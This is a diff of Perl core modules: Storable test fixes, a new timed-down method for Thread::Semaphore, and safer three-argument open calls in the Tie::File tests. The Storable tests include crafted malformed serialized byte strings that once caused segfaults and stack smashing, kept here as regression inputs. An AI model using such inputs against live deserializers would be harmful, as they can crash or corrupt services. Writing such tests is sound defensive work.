+ is($?, 0, "no stack overflow in retrieve_hook()");
+ is($x, undef, 'either out of mem or normal error (malloc 2GB)');
+}
+
+END { 1 while unlink("store$$", 'nstore') }
diff --git a/gnu/usr.bin/perl/dist/Storable/t/st-dump.pl b/gnu/usr.bin/perl/dist/Storable/t/st-dump.pl
index e9652f02e2f..50d87128700 100644
--- a/gnu/usr.bin/perl/dist/Storable/t/st-dump.pl
+++ b/gnu/usr.bin/perl/dist/Storable/t/st-dump.pl
@@ -17,7 +17,7 @@ use Carp;
);
# Given an object, dump its transitive data closure
-sub main'dump {
+sub main::dump {
my ($object) = @_;
croak "Not a reference!" unless ref($object);
local %dumped;
diff --git a/gnu/usr.bin/perl/dist/Storable/t/store.t b/gnu/usr.bin/perl/dist/Storable/t/store.t
index be432995213..45af0b26b4c 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/store.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/store.t
@@ -1,7 +1,7 @@
#!./perl
#
# Copyright (c) 1995-2000, Raphael Manfredi
-#
+#
# You may redistribute only under the same terms as Perl 5, as specified
# in the README file that comes with the distribution.
#
@@ -17,9 +17,10 @@ sub BEGIN {
require 'st-dump.pl';
}
+# $Storable::DEBUGME = 1;
use Storable qw(store retrieve store_fd nstore_fd fd_retrieve);
-use Test::More tests => 21;
+use Test::More tests => 25;
$a = 'toto';
$b = \$a;
@@ -29,12 +30,12 @@ $c->{attribute} = 'attrval';
@a = ('first', undef, 3, -4, -3.14159, 456, 4.5,
$b, \$a, $a, $c, \$c, \%a);
-isnt(store(\@a, 'store'), undef);
+isnt(store(\@a, "store$$"), undef);
$dumped = &dump(\@a);
isnt($dumped, undef);
-$root = retrieve('store');
+$root = retrieve("store$$");
isnt($root, undef);
$got = &dump($root);
@@ -42,7 +43,7 @@ isnt($got, undef);
is($got, $dumped);
-1 while unlink 'store';
+1 while unlink "store$$";
package FOO; @ISA = qw(Storable);
@@ -55,9 +56,9 @@ sub make {
package main;
$foo = FOO->make;
-isnt($foo->store('store'), undef);
+isnt($foo->store("store$$"), undef);
-isnt(open(OUT, '>>store'), undef);
+isnt(open(OUT, '>>', "store$$"), undef);
binmode OUT;
isnt(store_fd(\@a, ::OUT), undef);
@@ -66,7 +67,7 @@ isnt(nstore_fd(\%a, ::OUT), undef);
isnt(close(OUT), undef);
-isnt(open(OUT, 'store'), undef);
+isnt(open(OUT, "store$$"), undef);
$r = fd_retrieve(::OUT);
isnt($r, undef);
@@ -87,5 +88,29 @@ is(&dump($r), &dump(\%a));
eval { $r = fd_retrieve(::OUT); };
isnt($@, '');
+{
+ my %test = (
+ old_retrieve_array => "\x70\x73\x74\x30\x01\x0a\x02\x02\x02\x02\x00\x3d\x08\x84\x08\x85\x08\x06\x04\x00\x00\x01\x1b",
+ old_retrieve_hash => "\x70\x73\x74\x30\x01\x0a\x03\x00\xe8\x03\x00\x00\x81\x00\x00\x00\x01\x61",
+ retrieve_code => "\x70\x73\x74\x30\x05\x0a\x19\xf0\x00\xff\xe8\x03\x1a\x0a\x0e\x01",
+ );
+
+ for my $k (sort keys %test) {
+ open my $fh, '<', \$test{$k};
+ eval { Storable::fd_retrieve($fh); };
+ is($?, 0, 'RT 130098: no segfault in Storable::fd_retrieve()');
+ }
+}
+
+{
+
+ my $frozen =
+ "\x70\x73\x74\x30\x04\x0a\x08\x31\x32\x33\x34\x35\x36\x37\x38\x04\x08\x08\x08\x03\xff\x00\x00\x00\x19\x08\xff\x00\x00\x00\x08\x08\xf9\x16\x16\x13\x16\x10\x10\x10\xff\x15\x16\x16\x16\x1e\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x13\xf0\x16\x16\x16\xfe\x16\x41\x41\x41\x41\xe8\x03\x41\x41\x41\x41\x41\x41\x41\x41\x51\x41\xa9\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xb8\xac\xac\xac\xac\xac\xac\xac\xac\x9a\xac\xac\xac\xac\xac\xac\xac\xac\xac\x93\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\x00\x64\xac\xa8\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\x2c\xac\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x80\x41\x80\x41\x41\x41\x41\x41\x41\x51\x41\xac\xac\xac";
+ open my $fh, '<', \$frozen;
+ eval { Storable::fd_retrieve($fh); };
+ pass('RT 130635: no stack smashing error when retrieving hook');
+
+}
+
close OUT or die "Could not close: $!";
-END { 1 while unlink 'store' }
+END { 1 while unlink "store$$" }
diff --git a/gnu/usr.bin/perl/dist/Storable/t/testlib.pl b/gnu/usr.bin/perl/dist/Storable/t/testlib.pl
index 6d885d7f686..a44c3385413 100644
--- a/gnu/usr.bin/perl/dist/Storable/t/testlib.pl
+++ b/gnu/usr.bin/perl/dist/Storable/t/testlib.pl
@@ -1,8 +1,7 @@
#!perl -w
use strict;
-use vars '$file';
-$file = "storable-testfile.$$";
+our $file = "storable-testfile.$$";
die "Temporary file '$file' already exists" if -e $file;
END { while (-f $file) {unlink $file or die "Can't unlink '$file': $!" }}
@@ -12,7 +11,7 @@ use Storable qw (store retrieve freeze thaw nstore nfreeze);
sub slurp {
my $file = shift;
local (*FH, $/);
- open FH, "<$file" or die "Can't open '$file': $!";
+ open FH, "<", $file or die "Can't open '$file': $!";
binmode FH;
my $contents = <FH>;
die "Can't read $file: $!" unless defined $contents;
@@ -22,12 +21,13 @@ sub slurp {
sub store_and_retrieve {
my $data = shift;
unlink $file or die "Can't unlink '$file': $!";
- open FH, ">$file" or die "Can't open '$file': $!";
+ local *FH;
+ open FH, ">", $file or die "Can't open '$file': $!";
binmode FH;
print FH $data or die "Can't print to '$file': $!";
close FH or die "Can't close '$file': $!";
- return eval {retrieve $file};
+ return eval {retrieve $file};
}
sub freeze_and_thaw {
@@ -35,4 +35,4 @@ sub freeze_and_thaw {
return eval {thaw $data};
}
-$file;
+1;
diff --git a/gnu/usr.bin/perl/dist/Storable/t/tied.t b/gnu/usr.bin/perl/dist/Storable/t/tied.t
index 921117dd8be..e8be39e4604 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/tied.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/tied.t
@@ -18,6 +18,8 @@ sub BEGIN {
}
use Storable qw(freeze thaw);
+$Storable::flags = Storable::FLAGS_COMPAT;
+
use Test::More tests => 25;
($scalar_fetch, $array_fetch, $hash_fetch) = (0, 0, 0);
@@ -203,7 +205,7 @@ is($FAULT::fault, 2);
{
package P;
use Storable qw(freeze thaw);
- use vars qw($a $b);
+ our ($a, $b);
$b = "not ok ";
sub TIESCALAR { bless \$a } sub FETCH { "ok " }
tie $a, P; my $r = thaw freeze \$a; $b = $$r;
diff --git a/gnu/usr.bin/perl/dist/Storable/t/tied_hook.t b/gnu/usr.bin/perl/dist/Storable/t/tied_hook.t
index 05b2b0fa3e8..7f2bc98b738 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/tied_hook.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/tied_hook.t
@@ -18,6 +18,9 @@ sub BEGIN {
}
use Storable qw(freeze thaw);
+
+$Storable::flags = Storable::FLAGS_COMPAT;
+
use Test::More tests => 28;
($scalar_fetch, $array_fetch, $hash_fetch) = (0, 0, 0);
diff --git a/gnu/usr.bin/perl/dist/Storable/t/tied_items.t b/gnu/usr.bin/perl/dist/Storable/t/tied_items.t
index d54437cff09..3d13971b01a 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/tied_items.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/tied_items.t
@@ -25,6 +25,8 @@ $^W = 0;
use Storable qw(dclone);
use Test::More tests => 8;
+$Storable::flags = Storable::FLAGS_COMPAT;
+
$h_fetches = 0;
sub H::TIEHASH { bless \(my $x), "H" }
diff --git a/gnu/usr.bin/perl/dist/Storable/t/tied_reify.t b/gnu/usr.bin/perl/dist/Storable/t/tied_reify.t
new file mode 100644
index 00000000000..44e86373e2b
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Storable/t/tied_reify.t
@@ -0,0 +1,36 @@
+use Test::More tests => 1;
+
+package dumb_thing;
+
+use strict; use warnings;
+use Tie::Array;
+use Carp;
+use base 'Tie::StdArray';
+
+sub TIEARRAY {
+ my $class = shift;
+ my $this = bless [], $class;
+ my $that = shift;
+
+ @$this = @$that;
+
+ $this;
+}
+
+package main;
+
+use strict; use warnings;
+use Storable qw(freeze thaw);
+
+my $x = [1,2,3,4];
+
+broken($x); # ties $x
+broken( thaw( freeze($x) ) ); # since 5.16 fails with "Cannot tie unreifiable array"
+
+sub broken {
+ my $w = shift;
+ tie @$_, dumb_thing => $_ for $w;
+}
+
+# fails since 5.16
+ok 1, 'Does not fail with "Cannot tie unreifiable array" RT#84705';
diff --git a/gnu/usr.bin/perl/dist/Storable/t/utf8hash.t b/gnu/usr.bin/perl/dist/Storable/t/utf8hash.t
index 7eac651c6e3..a2a87257ea4 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/utf8hash.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/utf8hash.t
@@ -28,6 +28,7 @@ use Test::More tests=>144;
use bytes ();
my %utf8hash;
+$Storable::flags = Storable::FLAGS_COMPAT;
$Storable::canonical = $Storable::canonical; # Shut up a used only once warning.
for $Storable::canonical (0, 1) {
diff --git a/gnu/usr.bin/perl/dist/Storable/t/weak.t b/gnu/usr.bin/perl/dist/Storable/t/weak.t
index 0a06b0dcf62..220c70160f2 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/weak.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/weak.t
@@ -31,9 +31,11 @@ sub BEGIN {
use Test::More 'no_plan';
use Storable qw (store retrieve freeze thaw nstore nfreeze);
require 'testlib.pl';
-use vars '$file';
+our $file;
use strict;
+# $Storable::flags = Storable::FLAGS_COMPAT;
+
sub tester {
my ($contents, $sub, $testersub, $what) = @_;
# Test that if we re-write it, everything still works:
diff --git a/gnu/usr.bin/perl/dist/Term-ReadLine/t/ReadLine-STDERR.t b/gnu/usr.bin/perl/dist/Term-ReadLine/t/ReadLine-STDERR.t
new file mode 100644
index 00000000000..2bdf799f42d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Term-ReadLine/t/ReadLine-STDERR.t
@@ -0,0 +1,49 @@
+#!./perl -w
+use strict;
+
+use Test::More;
+
+## unit test for RT 132008 - https://rt.perl.org/Ticket/Display.html?id=132008
+
+if ( $^O eq 'MSWin32' || !-e q{/dev/tty} ) {
+ plan skip_all => "Not tested on windows or when /dev/tty does not exist";
+}
+else {
+ plan tests => 9;
+}
+
+if ( -e q[&STDERR] ) {
+ note q[Removing existing file &STDERR];
+ unlink q[&STDERR] or die q{Cannot remove existing file &STDERR [probably created from a previous run]};
+}
+
+use_ok('Term::ReadLine');
+can_ok( 'Term::ReadLine::Stub', qw{new devtty findConsole} );
+is( Term::ReadLine->devtty(), q{/dev/tty}, "check sub devtty" );
+SKIP:
+{
+ open my $tty, "<", Term::ReadLine->devtty()
+ or skip "Cannot open tty", 1;
+ -t $tty
+ or skip "No tty found, so findConsole() won't return /dev/tty", 1;
+ my @out = Term::ReadLine::Stub::findConsole();
+ is_deeply \@out, [ q{/dev/tty}, q{/dev/tty} ], "findConsole is using /dev/tty";
+}
+
+{
+ no warnings 'redefine';
+ my $donotexist = q[/this/should/not/exist/hopefully];
+
+ ok !-e $donotexist, "File $donotexist does not exist";
+ # double mention to prevent warning
+ local *Term::ReadLine::Stub::devtty =
+ *Term::ReadLine::Stub::devtty = sub { $donotexist };
+ is( Term::ReadLine->devtty(), $donotexist, "devtty mocked" );
+
+ my @out = Term::ReadLine::Stub::findConsole();
+ is_deeply \@out, [ q{&STDIN}, q{&STDERR} ], "findConsole isn't using /dev/tty" or diag explain \@out;
+
+ ok !-e q[&STDERR], 'file &STDERR do not exist before Term::ReadLine call';
+ my $tr = Term::ReadLine->new('whatever');
+ ok !-e q[&STDERR], 'file &STDERR was not created by mistake';
+}
diff --git a/gnu/usr.bin/perl/dist/Thread-Queue/t/07_lock.t b/gnu/usr.bin/perl/dist/Thread-Queue/t/07_lock.t
index f9e258e0922..b20e0604ca5 100755
--- a/gnu/usr.bin/perl/dist/Thread-Queue/t/07_lock.t
+++ b/gnu/usr.bin/perl/dist/Thread-Queue/t/07_lock.t
@@ -29,7 +29,7 @@ ok($q, 'New queue');
my $sm = Thread::Semaphore->new(0);
my $st = Thread::Semaphore->new(0);
-threads->create(sub {
+my $thr = threads->create(sub {
{
lock($q);
$sm->up();
@@ -39,13 +39,14 @@ threads->create(sub {
my @x = $q->extract(5,2);
is_deeply(\@x, [6,7], 'Thread dequeues under lock');
}
-})->detach();
+});
$sm->down();
$st->up();
my @x = $q->dequeue_nb(100);
is_deeply(\@x, [1..5,8..10], 'Main dequeues');
-threads::yield();
+
+$thr->join();
exit(0);
diff --git a/gnu/usr.bin/perl/dist/Thread-Semaphore/lib/Thread/Semaphore.pm b/gnu/usr.bin/perl/dist/Thread-Semaphore/lib/Thread/Semaphore.pm
index d940d031bf4..0154798e224 100644
--- a/gnu/usr.bin/perl/dist/Thread-Semaphore/lib/Thread/Semaphore.pm
+++ b/gnu/usr.bin/perl/dist/Thread-Semaphore/lib/Thread/Semaphore.pm
@@ -3,7 +3,7 @@ package Thread::Semaphore;
use strict;
use warnings;
-our $VERSION = '2.12';
+our $VERSION = '2.13';
$VERSION = eval $VERSION;
use threads::shared;
@@ -64,6 +64,22 @@ sub down_force {
$$sema -= $dec;
}
+# Decrement a semaphore's count with timeout
+# (timeout in seconds; decrement amount defaults to 1)
+sub down_timed {
+ my $sema = shift;
+ my $timeout = $validate_arg->(shift);
+ my $dec = @_ ? $validate_arg->(shift) : 1;
+
+ lock($$sema);
+ my $abs = time() + $timeout;
+ until ($$sema >= $dec) {
+ return if !cond_timedwait($$sema, $abs);
+ }
+ $$sema -= $dec;
+ return 1;
+}
+
# Increment a semaphore's count (increment amount defaults to 1)
sub up {
my $sema = shift;
@@ -102,7 +118,7 @@ Thread::Semaphore - Thread-safe semaphores
=head1 VERSION
-This document describes Thread::Semaphore version 2.12
+This document describes Thread::Semaphore version 2.13
=head1 SYNOPSIS
@@ -190,6 +206,23 @@ number (which must be an integer >= 1), or by one if no number is specified.
This method does not block, and may cause the semaphore's count to drop
below zero.
+=item ->down_timed(TIMEOUT)
+
+=item ->down_timed(TIMEOUT, NUMBER)
+
+The C<down_timed> method attempts to decrease the semaphore's count by 1
+or by the specified number within the specified timeout period given in
+seconds (which must be an integer >= 0).
+
+If the semaphore's count would drop below zero, this method will block
+until either the semaphore's count is greater than or equal to the
+amount you're C<down>ing the semaphore's count by, or until the timeout is
+reached.
+
+If the timeout is reached, this method will return I<false>, and the
+semaphore's count remains unchanged. Otherwise, the semaphore's count is
+decremented and this method returns I<true>.
+
=item ->up()
=item ->up(NUMBER)
@@ -218,11 +251,16 @@ environment.
=head1 SEE ALSO
-Thread::Semaphore Discussion Forum on CPAN:
-L<http://www.cpanforum.com/dist/Thread-Semaphore>
+Thread::Semaphore on MetaCPAN:
+L<https://metacpan.org/release/Thread-Semaphore>
+
+Code repository for CPAN distribution:
+L<https://github.com/Dual-Life/Thread-Semaphore>
L<threads>, L<threads::shared>
+Sample code in the I<examples> directory of this distribution on CPAN.
+
=head1 MAINTAINER
Jerry D. Hedden, S<E<lt>jdhedden AT cpan DOT orgE<gt>>
diff --git a/gnu/usr.bin/perl/dist/Thread-Semaphore/t/03_nothreads.t b/gnu/usr.bin/perl/dist/Thread-Semaphore/t/03_nothreads.t
index b8b2f0f227b..92dacec014e 100755
--- a/gnu/usr.bin/perl/dist/Thread-Semaphore/t/03_nothreads.t
+++ b/gnu/usr.bin/perl/dist/Thread-Semaphore/t/03_nothreads.t
@@ -1,7 +1,7 @@
use strict;
use warnings;
-use Test::More 'tests' => 6;
+use Test::More 'tests' => 7;
use Thread::Semaphore;
@@ -15,6 +15,7 @@ $s->down();
is($$s, 1, 'Non-threaded semaphore');
ok(! $s->down_nb(2), 'Non-threaded semaphore');
ok($s->down_nb(), 'Non-threaded semaphore');
+ok(! $s->down_timed(1), 'Non-threaded semaphore');
exit(0);
diff --git a/gnu/usr.bin/perl/dist/Thread-Semaphore/t/06_timed.t b/gnu/usr.bin/perl/dist/Thread-Semaphore/t/06_timed.t
new file mode 100644
index 00000000000..11f675981f0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Thread-Semaphore/t/06_timed.t
@@ -0,0 +1,76 @@
+use strict;
+use warnings;
+
+BEGIN {
+ use Config;
+ if (! $Config{'useithreads'}) {
+ print("1..0 # SKIP Perl not compiled with 'useithreads'\n");
+ exit(0);
+ }
+}
+
+use threads;
+use threads::shared;
+use Thread::Semaphore;
+
+if ($] == 5.008) {
+ require 't/test.pl'; # Test::More work-alike for Perl 5.8.0
+} else {
+ require Test::More;
+}
+Test::More->import();
+plan('tests' => 10);
+
+### Basic usage with multiple threads ###
+
+my $sm = Thread::Semaphore->new();
+my $st = Thread::Semaphore->new(0);
+ok($sm, 'New Semaphore');
+ok($st, 'New Semaphore');
+
+my $token :shared = 0;
+
+my @threads;
+
+push @threads, threads->create(sub {
+ $st->down_timed(3);
+ is($token++, 1, 'Thread 1 got semaphore');
+ $sm->up();
+
+ $st->down_timed(3, 4);
+ is($token, 5, 'Thread 1 done');
+ $sm->up();
+});
+
+push @threads, threads->create(sub {
+ $st->down_timed(3, 2);
+ is($token++, 3, 'Thread 2 got semaphore');
+ $sm->up();
+
+ # Force timeout by asking for more than will ever show up
+ ok(! $st->down_timed(1, 10), 'Thread 2 timed out');
+ $sm->up();
+});
+
+$sm->down();
+is($token++, 0, 'Main has semaphore');
+$st->up();
+
+$sm->down();
+is($token++, 2, 'Main got semaphore');
+$st->up(2);
+
+$sm->down();
+is($token++, 4, 'Main re-got semaphore');
+$st->up(5);
+
+$sm->down(2);
+$st->down();
+
+$_->join for @threads;
+
+ok(1, 'Main done');
+
+exit(0);
+
+# EOF
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/01_gen.t b/gnu/usr.bin/perl/dist/Tie-File/t/01_gen.t
index 202b09c76aa..e9504d3a1d2 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/01_gen.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/01_gen.t
@@ -119,7 +119,7 @@ sub check_contents {
my $x = join $:, @c, '';
local *FH = $o->{fh};
seek FH, 0, SEEK_SET;
-# my $open = open FH, "< $file";
+# my $open = open FH, "<", $file;
my $a;
{ local $/; $a = <FH> }
$a = "" unless defined $a;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/02_fetchsize.t b/gnu/usr.bin/perl/dist/Tie-File/t/02_fetchsize.t
index 12d2b51cba3..146a91ad635 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/02_fetchsize.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/02_fetchsize.t
@@ -10,7 +10,7 @@ my $N = 1;
use Tie::File;
print "ok $N\n"; $N++;
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/03_longfetch.t b/gnu/usr.bin/perl/dist/Tie-File/t/03_longfetch.t
index 7d5a3886fef..63dad4fa3a0 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/03_longfetch.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/03_longfetch.t
@@ -18,7 +18,7 @@ my $N = 1;
use Tie::File;
print "ok $N\n"; $N++;
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/04_splice.t b/gnu/usr.bin/perl/dist/Tie-File/t/04_splice.t
index b3880b758cb..8d23c5851b1 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/04_splice.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/04_splice.t
@@ -222,7 +222,7 @@ check_contents("0$:1$:2$:");
sub init_file {
my $data = shift;
- open F, "> $file" or die $!;
+ open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/05_size.t b/gnu/usr.bin/perl/dist/Tie-File/t/05_size.t
index 44c69f910f0..72774c80701 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/05_size.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/05_size.t
@@ -16,7 +16,7 @@ use Tie::File;
print "ok $N\n"; $N++;
# 2-3 FETCHSIZE 0-length file
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
close F;
$o = tie @a, 'Tie::File', $file;
@@ -34,7 +34,7 @@ undef $o;
untie @a;
my $data = "rec0$:rec1$:rec2$:";
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/07_rv_splice.t b/gnu/usr.bin/perl/dist/Tie-File/t/07_rv_splice.t
index e5c09b1a481..141383a6407 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/07_rv_splice.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/07_rv_splice.t
@@ -177,7 +177,7 @@ check_result();
sub init_file {
my $data = shift;
- open F, "> $file" or die $!;
+ open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/08_ro.t b/gnu/usr.bin/perl/dist/Tie-File/t/08_ro.t
index 5fd8933bf80..a38e7faf528 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/08_ro.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/08_ro.t
@@ -30,7 +30,7 @@ for my $i (0..$#items) {
sub init_file {
my $data = shift;
- open F, "> $file" or die $!;
+ open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
@@ -56,7 +56,7 @@ if (setup_badly_terminated_file(4)) {
sub setup_badly_terminated_file {
my $NTESTS = shift;
- open F, "> $file" or die "Couldn't open $file: $!";
+ open F, '>', $file or die "Couldn't open $file: $!";
binmode F;
print F $badrec;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/09_gen_rs.t b/gnu/usr.bin/perl/dist/Tie-File/t/09_gen_rs.t
index e590210335f..88d8250ba0f 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/09_gen_rs.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/09_gen_rs.t
@@ -161,7 +161,7 @@ if (setup_badly_terminated_file(1)) {
sub setup_badly_terminated_file {
my $NTESTS = shift;
- open F, "> $file" or die "Couldn't open $file: $!";
+ open F, '>', $file or die "Couldn't open $file: $!";
binmode F;
print F $badrec;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/10_splice_rs.t b/gnu/usr.bin/perl/dist/Tie-File/t/10_splice_rs.t
index 50b8b0a7ee2..da981db0d21 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/10_splice_rs.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/10_splice_rs.t
@@ -175,7 +175,7 @@ check_contents("");
sub init_file {
my $data = shift;
- open F, "> $file" or die $!;
+ open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/11_rv_splice_rs.t b/gnu/usr.bin/perl/dist/Tie-File/t/11_rv_splice_rs.t
index ae1053802a7..2fc9f2c7166 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/11_rv_splice_rs.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/11_rv_splice_rs.t
@@ -154,7 +154,7 @@ check_result(0..3);
sub init_file {
my $data = shift;
- open F, "> $file" or die $!;
+ open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/12_longfetch_rs.t b/gnu/usr.bin/perl/dist/Tie-File/t/12_longfetch_rs.t
index 6f1905d6afa..4e5d57b199f 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/12_longfetch_rs.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/12_longfetch_rs.t
@@ -15,7 +15,7 @@ my $N = 1;
use Tie::File;
print "ok $N\n"; $N++;
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/13_size_rs.t b/gnu/usr.bin/perl/dist/Tie-File/t/13_size_rs.t
index a2a8d53bdd6..b2e534c9700 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/13_size_rs.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/13_size_rs.t
@@ -17,7 +17,7 @@ use Tie::File;
print "ok $N\n"; $N++;
# 2-3 FETCHSIZE 0-length file
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
close F;
$o = tie @a, 'Tie::File', $file, recsep => 'blah';
print $o ? "ok $N\n" : "not ok $N\n";
@@ -31,7 +31,7 @@ undef $o;
untie @a;
# 4-5 FETCHSIZE positive-length file
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
print F $data;
close F;
$o = tie @a, 'Tie::File', $file, recsep => 'blah';
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/14_lock.t b/gnu/usr.bin/perl/dist/Tie-File/t/14_lock.t
index cab48125b0d..c523458f51b 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/14_lock.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/14_lock.t
@@ -29,7 +29,7 @@ use Tie::File;
print "ok $N\n"; $N++;
# 2-4 Who the heck knows?
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
close F;
$o = tie @a, 'Tie::File', $file, recsep => 'blah';
print $o ? "ok $N\n" : "not ok $N\n";
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/16_handle.t b/gnu/usr.bin/perl/dist/Tie-File/t/16_handle.t
index f799496be1a..21a3fce9460 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/16_handle.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/16_handle.t
@@ -117,7 +117,7 @@ sub check_contents {
my $x = join $:, @c, '';
local *FH = $o->{fh};
seek FH, 0, SEEK_SET;
-# my $open = open FH, "< $file";
+# my $open = open FH, '<', $file;
my $a;
{ local $/; $a = <FH> }
$a = "" unless defined $a;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/19_cache.t b/gnu/usr.bin/perl/dist/Tie-File/t/19_cache.t
index 81c693263e3..a8b6e69c98c 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/19_cache.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/19_cache.t
@@ -15,7 +15,7 @@ my $N = 1;
use Tie::File;
print "ok $N\n"; $N++;
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
@@ -169,7 +169,7 @@ check();
sub init_file {
my $data = shift;
- open F, "> $file" or die $!;
+ open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/20_cache_full.t b/gnu/usr.bin/perl/dist/Tie-File/t/20_cache_full.t
index 8b3bf0b2e0f..bd4d6a760f7 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/20_cache_full.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/20_cache_full.t
@@ -14,7 +14,7 @@ my $N = 1;
use Tie::File;
print "ok $N\n"; $N++;
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
@@ -192,7 +192,7 @@ check();
sub init_file {
my $data = shift;
- open F, "> $file" or die $!;
+ open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/21_win32.t b/gnu/usr.bin/perl/dist/Tie-File/t/21_win32.t
index d06854441bf..0ccf669737d 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/21_win32.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/21_win32.t
@@ -31,7 +31,7 @@ my $n;
@a = qw(fish dog carrot);
undef $o;
untie @a;
-open F, "< $file" or die "Couldn't open file $file: $!";
+open F, '<', $file or die "Couldn't open file $file: $!";
binmode F;
my $a = do {local $/ ; <F> };
my $x = "fish\r\ndog\r\ncarrot\r\n" ;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/22_autochomp.t b/gnu/usr.bin/perl/dist/Tie-File/t/22_autochomp.t
index dee07a8ec89..ebf3eaca4c2 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/22_autochomp.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/22_autochomp.t
@@ -105,7 +105,7 @@ sub check_contents {
my $x = join $:, @c, '';
local *FH = $o->{fh};
seek FH, 0, SEEK_SET;
-# my $open = open FH, "< $file";
+# my $open = open FH, '<', $file;
my $a;
{ local $/; $a = <FH> }
$a = "" unless defined $a;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/23_rv_ac_splice.t b/gnu/usr.bin/perl/dist/Tie-File/t/23_rv_ac_splice.t
index be229574f91..104045a1755 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/23_rv_ac_splice.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/23_rv_ac_splice.t
@@ -155,7 +155,7 @@ check_result(0..3);
sub init_file {
my $data = shift;
- open F, "> $file" or die $!;
+ open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
